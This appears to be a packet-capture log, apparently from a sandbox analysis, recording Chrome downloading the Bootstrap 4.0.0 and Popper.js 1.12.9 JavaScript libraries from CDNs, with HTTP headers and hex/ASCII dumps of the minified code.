2025-01-14 14:24:05 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:05 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 55ff1487c6071501927da70bb950f7b5 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1476825 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901e49a37a3642ea-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:24:05 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49761	104.17.24.14	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:05 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:05 UTC	955	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:05 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 49879 Expires: Sun, 04 Jan 2026 14:24:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZlN0irdGmGnqtqgusCDdU6BW%2BVuNWuyOnjNaL2jRNb3JblIcK%2FtSrpPQMAqVpE7rGqphuCqf2DId4gGIVvZNsbb6lIGkBnmSc0DooGuBkPC5YggP00YkzOdMm6BvGGXXZkeuCbdi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901e49a389218c09-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:24:05 UTC	414	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 Data Ascii: deType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':ret
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f Data Ascii: o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f Data Ascii: op-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 Data Ascii: .height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 Data Ascii: n('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:t
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 Data Ascii: tions.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 